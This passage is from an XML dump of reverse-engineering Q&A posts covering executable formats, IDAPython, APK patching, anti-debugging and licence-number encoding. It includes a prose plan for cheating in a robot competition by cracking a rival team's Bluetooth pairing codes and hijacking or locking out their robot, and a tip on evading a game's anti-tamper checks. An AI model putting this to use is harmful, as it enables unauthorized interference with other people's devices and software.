case, they would adhere to the Lego NXT Communication Protocol &lt;a href=&quot;http://www.robotappstore.com/Knowledge-Base/Introduction-To-Lego-NXT-Programming/32.html&quot; rel=&quot;nofollow&quot;&gt;LCP specification&lt;/a&gt;. Or, you could use bluesniff, log/save the bluetooth packets and use &lt;a href=&quot;http://www.security-sleuth.com/sleuth-blog/2015/9/6/now-i-wanna-sniff-some-bluetooth-sniffing-and-cracking-bluetooth-with-the-ubertoothone&quot; rel=&quot;nofollow&quot;&gt;crackle&lt;/a&gt; to crack your pairing code&lt;/li&gt;&#xA;&lt;li&gt;OPTIONAL: the normal LCP commands you would send to your robot from your Lego NXT kit can probably be replayed, so I would try to sniff and replay them first using bluesnarf and a SDR.&lt;/li&gt;&#xA;&lt;li&gt;Once you figure out the format of the bluetooth commands sent to the Lego NXT, now is the time to finish reconnaissance/enumeration.You'll want to go to one of your enemy team's previous matches and perform the former steps (obtain their NXT's/robot's address, sniff with your SDR, log/save the bluetooth packets) and use &lt;a href=&quot;http://www.security-sleuth.com/sleuth-blog/2015/9/6/now-i-wanna-sniff-some-bluetooth-sniffing-and-cracking-bluetooth-with-the-ubertoothone&quot; rel=&quot;nofollow&quot;&gt;crackle&lt;/a&gt; to crack their pairing codes. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Armed with the enemy team's pairing codes, knowledge on how to send custom LCP commands via SDR and/or bluesnarf, in the next round you should be able to cheat quite a few different ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make their robot play Frogger: Pairing with the enemy team's NXT device as a master (it being a slave) and edit the NXC script that gets pushed via bluetooth to their robot&lt;/li&gt;&#xA;&lt;li&gt;Lock 'em out: Change their pairing code for their robot at the beginning of the match&lt;/li&gt;&#xA;&lt;li&gt;BONUS: Use what you learned regarding LPC and the SDR to write a lightweight bluetooth fuzzer that sends bluetooth data to the NXT or robot. More than likely you'll need a JTAG debugger. Bonus points if you can find a Remote Code Execution (RCE) vulnerability in the NXT's bluetooth stack that you can leverage to to draw Pikachu to their NXT's screen&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2016-06-23T19:59:11.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12923" PostTypeId="2" ParentId="3036" CreationDate="2016-06-23T21:50:59.530" Score="2" Body="&lt;p&gt;Unfortunately, certain factors are in play that will make it incredibly hard to filter. Specifically, everything from the calling convention windows uses to function prologs to space in said &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames#Hot_Patch_Prologue&quot; rel=&quot;nofollow noreferrer&quot;&gt;prologues&lt;/a&gt; to allow hot patching, etc...Windows' Application Binary Interface (ABI) is incorporated in every execution on the box. Naturally, this means you wont be able to filter it out, as several instructions are fairly common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're merely trying to diff binaries to see how similar they are, the main one i would suggest is &lt;a href=&quot;http://www.forensicswiki.org/wiki/Ssdeep&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSDEEP&lt;/a&gt; found in this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3507/is-there-any-tool-to-quantitatively-evaluate-the-difference-of-binary&quot;&gt;answer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-09-29T19:41:41.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12924" PostTypeId="2" ParentId="12919" CreationDate="2016-06-23T22:16:40.623" Score="1" Body="&lt;p&gt;This turned out to be &lt;a href=&quot;https://github.com/x64dbg/x64dbg/issues/795&quot; rel=&quot;nofollow&quot;&gt;an actual bug&lt;/a&gt;.&#xA;The x86dbg team  has found and already fixed it. The fix should be in tonight's snapshot (Jun 23 2016).&lt;/p&gt;&#xA;" OwnerUserId="16513" LastEditorUserId="60" LastEditDate="2016-10-25T14:53:51.590" LastActivityDate="2016-10-25T14:53:51.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12925" PostTypeId="2" ParentId="12732" CreationDate="2016-06-23T23:47:20.840" Score="2" Body="&lt;p&gt;Alright, it would appear that we have an answer to this. And it's a lot simpler than I thought, and actually pretty cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they allocate some pages with no physical backing until the page is accessed. This means that any access whatsoever (even in kernel mode) will validate the page, thus allowing the application to see that the page has been validated and promptly crash the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, you can use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684949(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;QueryWorkingSetEx&lt;/a&gt; or &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/dn957452(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;NtQueryVirtualMemory&lt;/a&gt; and if the &quot;valid&quot; property of the returned structure is zero, then you probably shouldn't be reading that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say for certain that this is the correct answer, but it fits my analysis. If anybody has more information on this technique, specifically how to implement it with something like &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualAlloc&lt;/a&gt;, I would love to learn more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The application doesn't appear to have any kernel mode access whatsoever, it's just a regular user mode application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Sample C++ implementation can be found &lt;a href=&quot;https://gist.github.com/dkrutsko/d6118638b0ef711b30bfcfe5b083d067&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13817" LastEditorUserId="13817" LastEditDate="2017-01-24T03:53:33.337" LastActivityDate="2017-01-24T03:53:33.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12927" PostTypeId="1" AcceptedAnswerId="14241" CreationDate="2016-06-24T10:20:37.263" Score="1" ViewCount="917" Body="&lt;p&gt;I am trying to reverse a simple code that gets a string and calculates it's checksum. I've been trying to understand every instruction, but they look different from what is said in arm documentation. &#xA;Here's the full code(Using no$gba debugger)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bWnxq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bWnxq.png&quot; alt=&quot;Pink signals the checksum code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reached the code knowing that once the checksum has been calculated it is stored in the r0 register. &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs&lt;/a&gt; specify that EOR receives 2 args, while here is taking 4.&#xA;&lt;strong&gt;&lt;em&gt;eor  r3,r3,r0,asr 8h&lt;/em&gt;&lt;/strong&gt; I've figured out that this will be something like  &lt;strong&gt;&lt;em&gt;r3 = (r3^r0)&gt;&gt;8&lt;/em&gt;&lt;/strong&gt;  but I'm not really sure. In addition, C/C++ doesn't specify if the &gt;&gt; operator performs arithmetical or logical shifts (asr)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same confusion is created with the mov's instructions. The sub inst. would be reversed in something like &lt;strong&gt;&lt;em&gt;r2--; or r2=r2-1;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The checksum is 2 bytes long, and I am giving some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;String: AAAAAAB  -- Checksum: 0xB649 (While debugging, write in little endian)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;String: AAAAAAA  -- Checksum: 0x68BC &#xA;(NOTE: Checksum can't be worked out by performing operations with different checksum samples)&lt;/p&gt;&#xA;" OwnerUserId="16407" LastActivityDate="2021-01-30T18:20:40.397" Title="[ARM]How does this checksum code works and how to revert it in C?" Tags="|assembly|debuggers|arm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12928" PostTypeId="2" ParentId="12501" CreationDate="2016-06-24T11:38:00.297" Score="0" Body="&lt;p&gt;I don't know which version of NXT you are using, since I'm not experienced with 3.0, but if you have a 2.0 brick you are able to install a custom firmware which would allow you to code in different languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main cfw, one allows you to program in java and the other one in C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.teamhassenplug.org/NXT/NXTSoftware.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; I would suggest you to install RobotC because it's quite powerful; while you can run standard lego binaries (the ones created with the block ide) you have the power of C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you should read the RobotC docs and learn the API used for bluetooth, and from there, try to implement a public exploit (if exists) or develop your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that it would require lots of time and probably the bluetooth protocol is secure (not in the way it is not safe (cause it isn't and traffic can be sniffed), but I think it's difficult to achieve code execution on the remote lego)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, take a look at stack smash vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Also consider using those technics in a competition may be ilegal, and in your country it can be ilegal also to search for vulnerabilities.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastActivityDate="2016-06-24T11:38:00.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12933" PostTypeId="2" ParentId="10742" CreationDate="2016-06-25T13:49:53.570" Score="2" Body="&lt;p&gt;The following picture shows a similar case (Ida V6.3):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1uK79.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1uK79.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;with the corresponding useless graph view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LYKTq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYKTq.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Obviously, Ida is completely disturbed.&#xA;What worked for me in this case, was the following simple procedure:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Undefine Function and code =&amp;gt; Ida will show the byte code only&lt;/li&gt;&#xA;&lt;li&gt;Select the whole undefined area and re-define as code (&amp;quot;C&amp;quot;-key)&lt;/li&gt;&#xA;&lt;li&gt;Re-define as function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thre resulting graph view now looks decent:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8mw3k.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mw3k.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This helped here, it might however not be a remedy in all similar cases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Remark&lt;/strong&gt;: In this particular case, undefining and re-defining the function without undefining the code as well did NOT work.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-06-25T14:03:20.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12935" PostTypeId="2" ParentId="4651" CreationDate="2016-06-25T19:24:24.877" Score="0" Body="&lt;p&gt;I've been using &lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot; rel=&quot;nofollow&quot;&gt;pydbg&lt;/a&gt; for the last 2+ years to great success. Its used by various popular fuzzing suites such as Sulley, PaiMei, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;capstone disassembly framework&lt;/a&gt; is highly suggested, especially the &lt;a href=&quot;http://www.capstone-engine.org/op_access.html&quot; rel=&quot;nofollow&quot;&gt;op_access&lt;/a&gt; functionality as it helps with taint analysis. &lt;strong&gt;&lt;em&gt;Keep in mind&lt;/em&gt;&lt;/strong&gt; the application binary interface (ABI) of the platform you're developing exploits on. If its x86/x64, remember certain instructions will flag different unecessary registers as read/written to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rep movs* &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is used by various functions, especially on WindowsXP+. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The capstone disassembly framework will state that ecx, edi and esi are ALL read and written to, which means you'll have to write logic to deduce if certain instructions like the aforementioned ACTUALLY read/write to registers. Obviously, ESI and ECX aren't written to in that instruction. Usually compilers will specify the number of bytes to read in the previous insruction, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx, 0x##&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, for ~80% of instructions it will give accurate information (EFLAGS not withstanding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should take a few days or a week depending on free time to write logic to determine if a register is actually accessed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;I'm only assuming the basic instruction set is what you need, not FPU, SIMD, SSE, etc. If you RE malware, packed or optimized binaries, you will need to add logic for the aforementioned and more instruction sets&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2016-06-25T19:24:24.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12937" PostTypeId="1" CreationDate="2016-06-26T10:40:36.520" Score="2" ViewCount="308" Body="&lt;p&gt;So I have started reverse engineering an old LE executable. So to get a better understanding of the format. I started by writing a parser for this format. Using the following resources I have made quite some progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://unavowed.vexillium.org/pub/doc/LE&quot; rel=&quot;nofollow&quot;&gt;vexilium&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.textfiles.com/programming/FORMATS/lxexe.txt&quot; rel=&quot;nofollow&quot;&gt;textfiles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I'm encountering what seems like a fault in the format description when parsing the Fixup Record Table, as it is called by the vexillium.org link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When parsing this particular binaries Fixup Record Table, there seems to be 2 bytes extra in each entry. So I was wondering if there is something wrong with my understanding of the format or if the format description is incomplete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I am aware that I should use the Fixup Page Table to extract the fixups that correspond with each page, and I do this in the code, but it is not relevant for the issue I'm having. Except for the fact that there are indeed Fixup Record Table entries according to the Fixup Page Table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the binary on the offset of the Fixup Record Table are the following bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07 00 AB 09 02 54 85 07 00 DB 0A 02 40 85 07 00&#xA;D2 0A 02 40 85 07 00 AF 0A 02 40 85 07 00 66 0A&#xA;02 80 85 07 00 4D 0B 02 83 18 07 00 E3 0B 02 80&#xA;85 07 00 FA 0C 02 83 18 07 10 92 0C 01 AC 0F 01&#xA;00 07 00 5F 0C 02 83 18 07 00 73 0D 02 8C 00 07&#xA;10 53 0E 01 B4 0E 01 00 07 10 F6 0D 01 B4 0E 01&#xA;00 07 00 F5 0E 02 8C 00 07 10 A6 0E 01 AC 0F 01&#xA;00 07 10 9F 0E 01 30 0F 01 00 07 10 89 0F 02 FA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if we look at the format description of the Fixup Record Table on Vexillium.org I would parse this as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reloc_addres_type is 0x07&#xA;Reloc_type is 0x00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Reloc_addres_type bit 5 is not set we are parsing &quot;non list&quot; entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relocation offset should always be parsed and is 0x09AB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Reloc_type = 0, the lowest 2 bits are '0', thus this is an internal fixup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we parse a Target segment number of one byte, this is 0x02&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should be done now and parse the next entry. But if we look at the structure of the binary, we can see 2 bytes after the current byte is another 0x07 entry. And if we were to continue parsing it would will fail within 2 parse operation because of the lower 2 bits of the reloc_type both becoming '1' and there is no format description for this type as it is labeled OSFIXUP???.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some sample output from my parser. It stops after the 2nd entry because the 3rd entry encouters the reloc type with that ends in '11'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reloc_addres_type: 7&#xA;reloc_type: 0&#xA;data:&#xA;    offset: 09ab&#xA;    data:&#xA;        segment_number: 2&#xA;&#xA;reloc_addres_type: 84&#xA;reloc_type: 133&#xA;data:&#xA;    offset: 0007&#xA;    data:&#xA;        imported_module_name_index: 219&#xA;        ordinal_value: 10&#xA;        abs_add_value:  16386&#xA;        extra: --&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16535" LastActivityDate="2016-06-27T12:17:58.963" Title="LE executable Fixup Record Table format" Tags="|x86|executable|dos|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12938" PostTypeId="2" ParentId="12937" CreationDate="2016-06-26T19:21:41.910" Score="2" Body="&lt;p&gt;The additional 16 bits is the target offset (&lt;code&gt;TRGOFF&lt;/code&gt; in the textfiles doc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you to check your parser against Hex-Rays' &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/support.shtml&quot; rel=&quot;nofollow&quot;&gt;Extensive File Dumper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-06-26T19:21:41.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12939" PostTypeId="2" ParentId="12937" CreationDate="2016-06-27T09:43:17.967" Score="0" Body="&lt;p&gt;So I started looking for extra sources on the LE format after the suggestions to cross-validate my parser with hex-rays one, It turns out there is an extra field in the InternalFixup type of fixups called target offset, it can however either be 16-bits or 32-bits depending on the &quot;32-bit target offset&quot; flag. which is the 4th bit (starting at 0=LSB) in the second byte of the entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://collaboration.cmc.ec.gc.ca/science/rpn/biblio/ddj/Website/articles/DDJ/1994/9409/9409h/9409h.htm&quot; rel=&quot;nofollow&quot;&gt;LX format&lt;/a&gt; and more specifically &lt;a href=&quot;http://collaboration.cmc.ec.gc.ca/science/rpn/biblio/ddj/Website/articles/DDJ/1994/9409/9409h/19940103.htm&quot; rel=&quot;nofollow&quot;&gt;figure 2 of that paper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that as far as I understand LE and LX are the same format but LE has mixed 16 and 32 bit instructions while LX only has 32 bit instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this description also describes the '11' case talked about in my question which refers to an 'InternalEntry'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: When reading over the textfiles explanation again, it seems to convey the same ideas as the new source I found, although the way textfiles presented it felt weird and I couldn't wrap my head around it.&lt;/p&gt;&#xA;" OwnerUserId="16535" LastEditorUserId="16535" LastEditDate="2016-06-27T12:17:58.963" LastActivityDate="2016-06-27T12:17:58.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12941" PostTypeId="1" CreationDate="2016-06-27T14:03:46.817" Score="0" ViewCount="1026" Body="&lt;p&gt;I need to make some simple tweaks to Android APP that keeps crashing. Viewing the code and seeing possible problems is pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://ibotpeaches.github.io/Apktool/install/&quot; rel=&quot;nofollow&quot;&gt;Apktool&lt;/a&gt; (eg. &lt;code&gt;apktool d name_of_apk.apk -o my_folder&lt;/code&gt;) and then view &lt;code&gt;.smali&lt;/code&gt; files that will be created from &lt;code&gt;classes.dex&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use dex2jar, then view or decompile the &lt;code&gt;jar&lt;/code&gt; file using JD-Gui&lt;/li&gt;&#xA;&lt;li&gt;Just use &lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;nofollow&quot;&gt;https://bytecodeviewer.com/&lt;/a&gt; which allows me to view the .dex file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you noticed, all above was about &lt;strong&gt;viewing&lt;/strong&gt; the code. I need to submit changes to it though. One way to do this would be to simply re-create the original project from decompiled sources, presumably using Android Studio.  That seems like boring and tedious process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since changes I need to perform are miniscule, such as changing &lt;code&gt;debug&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, I would appreciate simpler solution... Is it possible to just edit bytecode of the &lt;code&gt;.dex&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="11543" LastActivityDate="2016-06-27T14:11:01.530" Title="What's the most straightforward way to change a simple thing in Android APK java application?" Tags="|android|java|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12942" PostTypeId="2" ParentId="12941" CreationDate="2016-06-27T14:11:01.530" Score="2" Body="&lt;p&gt;Use apktool to disassemble it into smali, edit the smali, then reassemble with apktool. I've done it tons of times, and it's easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also manually edit the dex file in simple cases, but this is a HUGE pain. I generally only resort to it in cases where smali itself can't handle something properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that dex files are much harder to manually edit than java classfiles due to all the extra constraints. First off, you have to update the checksums at the top of the file each time. Additionally, all the string tables must be sorted, which means that even simple renamings can change the entire file if it changes the order of any strings. There's also a lot of things that give offsets into the file. You pretty much need an assembler for dex.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2016-06-27T14:11:01.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12943" PostTypeId="1" CreationDate="2016-06-27T19:18:54.857" Score="2" ViewCount="23141" Body="&lt;p&gt;So I found out that Ontario Driver's Licences have the following format: LXXXX - NNNIY - YMMDD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;L - first letter of last name XXXX - number referring to your last name NNN - number referring to your first name I - number referring to your middle initial (0 if you don't have one) YY - year of birth MM - month of birth - add 50 to month if you are female DD - day of birth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is the encoding system they use for the first 5 alphanumeric digits? The first letter is the first letter of your last name, but what about the numbers? Everyone with the same last name will have the same first 5 alphanumeric digits. I used to think Ontario had propitiatory system with a database of last names, and attached a number onto them, but I discovered that New Jersey and Quebec uses the SAME system as well by looking at their sample licences on google. I wonder if anyone knows how the name is encoded. I've found something about the SoundEx system, but I don't think it applies in this case. This question has been brought up once at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6440/decoding-new-jersey-drivers-license-codes&quot;&gt;Decoding New Jersey Driver&amp;#39;s License Codes&lt;/a&gt; but they did not manage to crack the code. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16547" LastEditorUserId="16547" LastEditDate="2019-08-14T23:33:25.967" LastActivityDate="2019-08-14T23:33:25.967" Title="Driver's Licence Last Name Numbering Format (Ontario, Quebec, New Jersey)?" Tags="|encryption|encodings|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12944" PostTypeId="1" AcceptedAnswerId="12998" CreationDate="2016-06-28T01:19:26.350" Score="1" ViewCount="1269" Body="&lt;p&gt;I am trying to &lt;code&gt;ptrace_attach&lt;/code&gt; the main process and its threads (&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task&lt;/code&gt;) of an android unity app to avoid malicious users debugging the app(which is a game). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I developed a ndk library that forks from main process and &lt;code&gt;ptrace_attach&lt;/code&gt; the parent process(being the main process) inside the &lt;code&gt;JNI_OnLoad()&lt;/code&gt; function. After that periodically checks the &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/task&lt;/code&gt; folder to attach newly created threads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, &#xA;this works well in normal apps but when I try to run this inside an app made with unity, the main process stops and screen becomes black or white not responding. But if you delay attaching a few seconds just enough to see the animation working on the screen, attaching works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is roughly something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!fork())&#xA;{&#xA;     parentPid = getppid();&#xA;&#xA;     // attach parent process&#xA;     if(ptrace(PTRACE_ATTACH,parentPid,0,0)&amp;lt;0)&#xA;          exit(-1);&#xA;     ptrace(PTRACE_SETOPTIONS, parentPid, 0, PTRACE_O_TRACEEXEC| PTRACE_O_TRACEVFORKDONE|PTRACE_O_TRACESYSGOOD |PTRACE_O_TRACEFORK |PTRACE_O_TRACEVFORK |PTRACE_O_TRACECLONE );&#xA;&#xA;     while(true)&#xA;     {&#xA;          // get signal from processes&#xA;          stoppedPid = waitpid(-1,&amp;amp;stat_loc, 0);&#xA;&#xA;          ...&#xA;&#xA;          // check if stoppedPid need to be attached&#xA;          // if so, attach&#xA;          ptrace(PTRACE_ATTACH,stoppedPid,0,0);&#xA;&#xA;          ...&#xA;&#xA;          // else, just continue the stopped process&#xA;          ptrace(PTRACE_CONT,stoppedPid,0,0);&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe I should adjust the &lt;code&gt;ptrace_setoptions&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2016-07-06T09:22:19.207" Title="Has anyone tried ptrace_attaching android unity apps for anti debugging?" Tags="|android|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12945" PostTypeId="1" CreationDate="2016-06-28T08:41:19.383" Score="2" ViewCount="1669" Body="&lt;p&gt;I am able to get Segments start address, end address and all functions of a DLL through follwoing ida python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get the segment's starting address&#xA;    ea = ScreenEA()&#xA;    print(ea)&#xA;    print(SegStart(ea),SegEnd(ea))&#xA;&#xA;    callers = dict()&#xA;    callees = dict()&#xA;&#xA;    # Loop through all the functions&#xA;&#xA;    for function_ea in Functions(SegStart(ea), SegEnd(ea)):&#xA;&#xA;        f_name = GetFunctionName(function_ea)&#xA;        print(f_name)&#xA;&#xA;        # Create a set with all the names of the functions calling (referring to)&#xA;        # the current one.&#xA;        callers[f_name] = Set(map(GetFunctionName, CodeRefsTo(function_ea, 0)))&#xA;&#xA;        # For each of the incoming references&#xA;        for ref_ea in CodeRefsTo(function_ea, 0):&#xA;&#xA;&#xA;            # Get the name of the referring function&#xA;            caller_name = GetFunctionName(ref_ea)&#xA;&#xA;            # Add the current function to the list of functions&#xA;            # called by the referring function&#xA;            callees[caller_name] = callees.get(caller_name, Set())&#xA;            callees[caller_name].add(f_name)&#xA;&#xA;    # Get the list of all functions&#xA;    functions = Set(callees.keys()+callers.keys())&#xA;    total_callees=0&#xA;&#xA;    # For each of the functions, print the number of functions calling it and&#xA;    # number of functions being called. In short, indegree and outdegree&#xA;    for f in functions:&#xA;        print('%d:%s:%d' % (len(callers.get(f, [])), f, len(callees.get(f, []))))&#xA;        total_callees+=len(callees.get(f,[]))&#xA;&#xA;    print(&quot;\nTotal callees of \t&quot;+idaapi.get_root_filename()+&quot;\t: &quot;+str(total_callees))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script is working well when invoked inside IDA pro but if it is invoked through command prompt like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaq.exe -A -S&quot;C:\xxx\segment.py&quot; &quot;C:\fff\yy.dll&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is different as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4294967295&#xA;(4294967295L, 4294967295L)    &#xA;Total callees of    yy.dll  : 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16206" LastActivityDate="2016-06-29T15:57:03.423" Title="Segments start address is different in IDApython when invoked thrg cmd prompt" Tags="|idapython|dll|command-line|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
